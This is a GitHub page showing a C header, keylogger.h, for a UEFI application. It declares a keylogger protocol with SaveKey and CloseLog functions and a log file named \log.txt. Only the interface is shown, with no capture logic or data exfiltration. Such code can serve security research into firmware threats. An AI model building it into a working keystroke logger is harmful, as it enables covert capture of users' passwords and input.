-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathkeylogger.h
More file actions
35 lines (26 loc) · 733 Bytes
/
keylogger.h
File metadata and controls
35 lines (26 loc) · 733 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#ifndef _GNU_EFI_APPS_KEYLOGGER_H_
#define _GNU_EFI_APPS_KEYLOGGER_H_
#ifdef __cplusplus
extern "C" {
#endif
/* UEFI naming conventions */
#define GNU_EFI_APPS_KEYLOGGER_PROTOCOL_GUID \
{ 0xe4dcafd0, 0x586c, 0x4b3d, {0x86, 0xe7, 0x28, 0xde, 0x7f, 0xcc, 0x04, 0xb9} }
INTERFACE_DECL(_GNU_EFI_APPS_KEYLOGGER_PROTOCOL);
typedef
EFI_STATUS
(EFIAPI *GNU_EFI_APPS_KEYLOGGER_SAVE_KEY) (
IN const CHAR16 Key
);
typedef
EFI_STATUS
(EFIAPI *GNU_EFI_APPS_KEYLOGGER_CLOSE_LOG) ();
typedef struct _GNU_EFI_APPS_KEYLOGGER_PROTOCOL {
GNU_EFI_APPS_KEYLOGGER_SAVE_KEY SaveKey;
GNU_EFI_APPS_KEYLOGGER_CLOSE_LOG CloseLog;
} GNU_EFI_APPS_KEYLOGGER_PROTOCOL;
#define LOGFILE L"\\log.txt"
#ifdef __cplusplus
}
#endif
#endif